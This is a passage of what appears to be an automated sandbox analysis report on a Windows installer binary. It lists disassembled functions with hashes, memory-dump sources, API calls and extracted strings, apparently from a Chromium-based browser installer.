Opcode Fuzzy Hash: 7ac47f8c4578cc1fac529b785b8db90ae03f41c9aee6b53b5381fffee8f44611
Instruction Fuzzy Hash: 4B516272E00219EFDF14CF99C840AEEBBF6FF88304F498459E915AB201D774AA55DB90

Function 0090A224 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a6f2e837451545aabe346b11b149648bb061824ca4cb33358dc881b498617d4
Instruction ID: 00999816bb4797dafb1367a2b3322d431ecec21a262aa5ae77bf758a1c777720
Opcode Fuzzy Hash: 3a6f2e837451545aabe346b11b149648bb061824ca4cb33358dc881b498617d4
Instruction Fuzzy Hash: DF518F72D00219EFDF14CF99C840AEEBBB6FF88300F498469E915AB241D7759E40DB91

Function 008D05F0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a0fd7a5873ef41d60fd70c029d79829f517796bc12a9caff67bcfd187504ae0
Instruction ID: 96cacf2e2564bba0ce6df5cd8383eaee05fb53a212009317819212f3b6c7846b
Opcode Fuzzy Hash: 1a0fd7a5873ef41d60fd70c029d79829f517796bc12a9caff67bcfd187504ae0
Instruction Fuzzy Hash: 19510C65D38FCA46E3136B3DA403226E714AEFB598E20E71BFDE438C55FB5192826148

Function 00850C40 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6febac9748b7a697b4a04af9e9792c2773b60e2a89f072b7284a025d9984854a
Instruction ID: e63f8f0858ea334a1c5db672cdb9fa560d01ba7393863df50f543971367009f0
Opcode Fuzzy Hash: 6febac9748b7a697b4a04af9e9792c2773b60e2a89f072b7284a025d9984854a
Instruction Fuzzy Hash: 9051B171814B059FC703EF38C99196AF7AAFF96744F04C719F44BA6112EB30A895CB52

Function 008F0440 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 969184d1714d08fbda68cb3d0ed13970b435337c183ddf4ea4504258b8a4104f
Instruction ID: 9ccc1d9717289ed49392b539ee82d2fbf28c6a0851b717701c7fc75283c5d483
Opcode Fuzzy Hash: 969184d1714d08fbda68cb3d0ed13970b435337c183ddf4ea4504258b8a4104f
Instruction Fuzzy Hash: FC4155F5C10F448AD722EF3199016E3F6A2BFA6304F15972EF69A50522F72171D09B42

Function 059410AB Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09967ac5482500bc099009dc95111bd7cc7545dcabcf40ba633cd1a509d9f95
Instruction ID: 2adfe65b7998cd0aa3fe5e5a561c7aebc92b100b36c62e4124231faab7179389
Opcode Fuzzy Hash: b09967ac5482500bc099009dc95111bd7cc7545dcabcf40ba633cd1a509d9f95
Instruction Fuzzy Hash: 15514F74E01209DFCB08CF98C590AAEB7B2FF88314F248599D815AB355D731AE91DFA4

Function 008F8B00 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d84aabd448818e380069a89193d96ee25f13ea4cc77288f3363bc9b1ada2d506
Instruction ID: e13d8649fc046039230024415db6aa793aaad969f1ace12004b88a07562acdb2
Opcode Fuzzy Hash: d84aabd448818e380069a89193d96ee25f13ea4cc77288f3363bc9b1ada2d506
Instruction Fuzzy Hash: 3B41D1DAC2DF8D06E703173DA8831A2B310AEB35A8621EB47FDF4756A1FB12A1557314

Function 059625B4 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: c7f8b3203a51d136be6706d9fdeff35b05fe9c2a4619f3c9cd1f4b8fab2741b9
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 7111E27F209142439E14CB2DD9B82BAA78BFAC522072D827BD4828B65CD622A15DA704

Function 059410AA Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e64317625e06953a0030493f718403388be9115d8c6a0e5777c3d8d6dbedd3d
Instruction ID: 533460bed2e962cbd4c099685bcb0e8689eb2443ae3bd1fccc11e8ef03447743
Opcode Fuzzy Hash: 4e64317625e06953a0030493f718403388be9115d8c6a0e5777c3d8d6dbedd3d
Instruction Fuzzy Hash: E23162B4E00119DFCB08CF98C590AAEBBB2FF48314F248599D815AB345D735AE85DF94

Function 05942D68 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa14c465a1d6a95a6bfa9dd17c304615794b29be19efbb8f6307b423f3602397
Instruction ID: 5cbea287e393ef80ed51b52e0dd865d82bc30c7b44284be40d6cb3ca6478aaa0
Opcode Fuzzy Hash: fa14c465a1d6a95a6bfa9dd17c304615794b29be19efbb8f6307b423f3602397
Instruction Fuzzy Hash: 03018B76D240710AA70C4B3FAC11837BB95BB5711234702BBF987EB0D1C819D565DBE8

Function 05955164 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ad7b8e6dd2d3a30a1b537087b143b080f705283c280b151f3205acabd5c428
Instruction ID: 739ad0dbfd42d48adb8f749f65e25892f343416a825afcc572a0a85782672d4c
Opcode Fuzzy Hash: b1ad7b8e6dd2d3a30a1b537087b143b080f705283c280b151f3205acabd5c428
Instruction Fuzzy Hash: 74F036725010296F9F09EF64C816CFF7796EF58250B05811DFC1657140C635EC61E7D4

Function 05940E0B Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f432f6d4d57ddd5edf10f0a55197208a6667e030cc273150dee4b63bd6a15e3
Instruction ID: 24264871a32431c6e684ffb2aa687233976c0b829d3b61803f1d6f053ff5e55a
Opcode Fuzzy Hash: 2f432f6d4d57ddd5edf10f0a55197208a6667e030cc273150dee4b63bd6a15e3
Instruction Fuzzy Hash: 4001B634A01108EFCB14DF98C198EAEB7B6FB44310F64C699D9059B390C734AE92EF80

Function 00824577 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b478e1f546ce9a5c90263f502841de5ed2815c13aa0d6343b5217c81eca3c23b
Instruction ID: b3aec4985b90900688e4cb9825199d5f311b3cb2f5d24abb7116ebe1e6d53e70
Opcode Fuzzy Hash: b478e1f546ce9a5c90263f502841de5ed2815c13aa0d6343b5217c81eca3c23b
Instruction Fuzzy Hash: 3FE0EC305183418FC746DF20C190866FBB1EF87311B06E689D4999B566D334EE88CB65

Function 008BAF90 Relevance: 39.0, APIs: 6, Strings: 16, Instructions: 474COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008BB18F

Strings

check-the-interface, xrefs: 008BB18A, 008BB1D1, 008BB1D8, 008BB1E9
, installer crashed, xrefs: 008BB5F3
Failed to check Win10 internal interface availability: , xrefs: 008BB003, 008BB39E
Failed to check Win10 internal interface availability, , xrefs: 008BB468
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008BB631
can't get installer exe path., xrefs: 008BB014
IsInternalInterfaceAvailableSafeCheck, xrefs: 008BAFED, 008BB2EC, 008BB385, 008BB452, 008BB4D7, 008BB575
Successfuly checked Win10 internal interface availability: , xrefs: 008BB4EB
availability: , xrefs: 008BB4FD
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008BB62A
installer was terminated by timeout., xrefs: 008BB479
can't run installer: , xrefs: 008BB3AF
Failed to check Win10 internal interface availability, unknown ret code: , xrefs: 008BB302
ret code: , xrefs: 008BB59C
Failed to check Win10 internal interface availability,, xrefs: 008BB58B
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008BB623

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: installer was terminated by timeout.$ ret code: $, installer crashed$..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$Failed to check Win10 internal interface availability,$Failed to check Win10 internal interface availability, $Failed to check Win10 internal interface availability, unknown ret code: $Failed to check Win10 internal interface availability: $IsInternalInterfaceAvailableSafeCheck$Successfuly checked Win10 internal interface availability: $availability: $can't get installer exe path.$can't run installer: $check-the-interface
API String ID: 4218353326-1762643915
Opcode ID: 566cadb3121b8ca69276fa178d41ec8b7ed44a20733b57a63886a7173aadc2e2
Instruction ID: 3662c44369442a2dc4678595f4149a2357a7dc8bcfca407a9a366c2385cc76c8
Opcode Fuzzy Hash: 566cadb3121b8ca69276fa178d41ec8b7ed44a20733b57a63886a7173aadc2e2
Instruction Fuzzy Hash: CC02F4716007019ED720EF75CC82BAAB7A5FF94704F04492CF59AC6293EBB0B549CB92

Function 008AE210 Relevance: 38.8, APIs: 7, Strings: 15, Instructions: 313COMMON

Download Yara Rule

APIs

Part of subcall function 008B65E0: TryAcquireSRWLockExclusive.KERNEL32(00966B40,?,?,00962570,009305AE,?,?,008AEA0C,00962570,?,?,?,?,?,?,-00000001), ref: 008B66D7
Part of subcall function 008B65E0: ReleaseSRWLockExclusive.KERNEL32(00966B40,?,?,00962570,009305AE,?,?,008AEA0C,00962570,?,?,?,?,?,?,-00000001), ref: 008B6700

_strlen.LIBCMT ref: 008AE285
_strlen.LIBCMT ref: 008AE488
_strlen.LIBCMT ref: 008AE4AE
__Init_thread_header.LIBCMT ref: 008AE5AB
__Init_thread_header.LIBCMT ref: 008AE5EB

Part of subcall function 008FFBA7: EnterCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBB2
Part of subcall function 008FFBA7: LeaveCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBEF

__Init_thread_header.LIBCMT ref: 008AE62B
__Init_thread_header.LIBCMT ref: 008AE66B

Strings

under feature , xrefs: 008AE472
field_trial_params.cc, xrefs: 008AE40C, 008AE50A
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008AE590
FieldTrialParams-param_name, xrefs: 008AE602
Failed to parse field trial param , xrefs: 008AE41C
FieldTrialParams-feature_name, xrefs: 008AE5C2
with string value , xrefs: 008AE44A
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008AE589
into , xrefs: 008AE49D
Variations.FieldTriamParamsLogInvalidValue, xrefs: 008AE25F
FieldTrialParams-value, xrefs: 008AE642
LogInvalidValue, xrefs: 008AE50F
FieldTrialParams-default, xrefs: 008AE682
..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length, xrefs: 008AE59F
. Falling back to default value of , xrefs: 008AE4C3

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Init_thread_header$_strlen$CriticalExclusiveLockSection$AcquireEnterLeaveRelease
String ID: into $ under feature $ with string value $. Falling back to default value of $..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$Failed to parse field trial param $FieldTrialParams-default$FieldTrialParams-feature_name$FieldTrialParams-param_name$FieldTrialParams-value$LogInvalidValue$Variations.FieldTriamParamsLogInvalidValue$field_trial_params.cc
API String ID: 1027699586-24245431
Opcode ID: 00b1c058dac2ce538187e1fa9fe7b20e2580a3f5afb6283f0060f9335d1dbe32
Instruction ID: 4dc0db7ed22c21ffbac9068df196009d896184aa1654daea8a15b9bc03bd8165
Opcode Fuzzy Hash: 00b1c058dac2ce538187e1fa9fe7b20e2580a3f5afb6283f0060f9335d1dbe32
Instruction Fuzzy Hash: CDB14971A04300ABE620EF58EC96F6A7764FF92718F04493CFC9597682E770A911C793

Function 008C4600 Relevance: 37.2, APIs: 7, Strings: 14, Instructions: 457libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(008446AD,00000000,00000022,008446AD,5750F189), ref: 008C4675
GetLastError.KERNEL32(?,00000000), ref: 008C46CE
GetLastError.KERNEL32(008446AD,5750F189), ref: 008C47BE
GetLastError.KERNEL32(00000000), ref: 008C484D

Part of subcall function 008C4C40: FindResourceW.KERNEL32(00000000,?,?,-00000001,008446AD,00000000,?,?,008C46BD,SIGNATURE_DAT,SIGNATURE.DAT,00000000), ref: 008C4C5E
Part of subcall function 008C4C40: SizeofResource.KERNEL32(00000000,00000000,?,008C46BD,SIGNATURE_DAT,SIGNATURE.DAT,00000000), ref: 008C4C6C
Part of subcall function 008C4C40: LoadResource.KERNEL32(00000000,00000000,?,008C46BD,SIGNATURE_DAT,SIGNATURE.DAT,00000000), ref: 008C4C7B
Part of subcall function 008C4C40: LockResource.KERNEL32(00000000,?,008C46BD,SIGNATURE_DAT,SIGNATURE.DAT,00000000), ref: 008C4C86

GetLastError.KERNEL32(?,?,?,00000000), ref: 008C49C5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 008C4AFB

Strings

TRUSTED_JSON, xrefs: 008C48E7, 008C4A10
Attempting to GetTrustJsonFromModule at an invalid path: , xrefs: 008C47F6
Failed to load module for GetTrustJsonFromModule: , xrefs: 008C4888
..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds, xrefs: 008C4C09
SIGNATURE_DAT, xrefs: 008C46B3, 008C4719
Cannot find resource , xrefs: 008C4706, 008C49FD
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008C4C17
..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at, xrefs: 008C4C26
TRUSTED.JSON, xrefs: 008C48E2
Verify error, xrefs: 008C4B33
Cannot find key, xrefs: 008C4AC1
SIGNATURE.DAT, xrefs: 008C46AE
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008C4C10
GetTrustJsonFromModule, xrefs: 008C46EC, 008C47DE, 008C4870, 008C49E3, 008C4AA9, 008C4B1B

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast$Resource$Load$FindLibraryLockSizeof
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds$Attempting to GetTrustJsonFromModule at an invalid path: $Cannot find key$Cannot find resource $Failed to load module for GetTrustJsonFromModule: $GetTrustJsonFromModule$SIGNATURE.DAT$SIGNATURE_DAT$TRUSTED.JSON$TRUSTED_JSON$Verify error
API String ID: 1577874829-3182910857
Opcode ID: bdbcff9e46e68f9d7b0ab563b34874314b744c6df1d378f1b703e6232b6b1e7b
Instruction ID: 259836548ebf0d12dd86ca10a5470de4a9ee3fd66b1c96d16bce8f9ad18d4bb1
Opcode Fuzzy Hash: bdbcff9e46e68f9d7b0ab563b34874314b744c6df1d378f1b703e6232b6b1e7b
Instruction Fuzzy Hash: 5EF1A0706043409BDB20EB64D891F6A77A5FFD5714F04881CF989D7282EB70E989CBA3

Function 00848DD0 Relevance: 31.9, APIs: 6, Strings: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00848E0E
GetCurrentProcessId.KERNEL32(?,00000000), ref: 00848EB1
_strlen.LIBCMT ref: 00848EC6
_strlen.LIBCMT ref: 00848FBC
CreateEventA.KERNEL32(00000000,00000000,00000000,0c0f0f0d-6434-4cfd-a5e9-23e9ca4d94b6,?,?,?), ref: 0084916B
CreateEventA.KERNEL32(00000000,00000000,00000000,fef32d6d-67e9-4654-b314-6c72098ff5d1,?,?,?), ref: 00849178

Strings

uac_declined, xrefs: 00849228
run-as-admin, xrefs: 00848E09, 00848E68, 00848E6F, 00848E80
<, xrefs: 008490E0
fef32d6d-67e9-4654-b314-6c72098ff5d1, xrefs: 00849170
butt, xrefs: 00849269
0c0f0f0d-6434-4cfd-a5e9-23e9ca4d94b6, xrefs: 00849163
fake_browser_arc, xrefs: 00848F82
parent-installer-process-id, xrefs: 00848EC1, 00848F0B, 00848F12, 00848F23
@, xrefs: 008490EA
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008492EF
setup-cmd-line, xrefs: 00848FB7, 00848FFF, 00849006, 00849017
ked_, xrefs: 00849270

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen$CreateEvent$CurrentProcess
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$0c0f0f0d-6434-4cfd-a5e9-23e9ca4d94b6$<$@$butt$fake_browser_arc$fef32d6d-67e9-4654-b314-6c72098ff5d1$ked_$parent-installer-process-id$run-as-admin$setup-cmd-line$uac_declined
API String ID: 1400174177-4058345832
Opcode ID: fb3572de7e6acdd30d6027d44ea3b3418e958c94714794425fe1118aa61f3370
Instruction ID: ef7f251e06982df285c1628309f3d48cddc75f57d9980e50d5e2ef1848a65f90
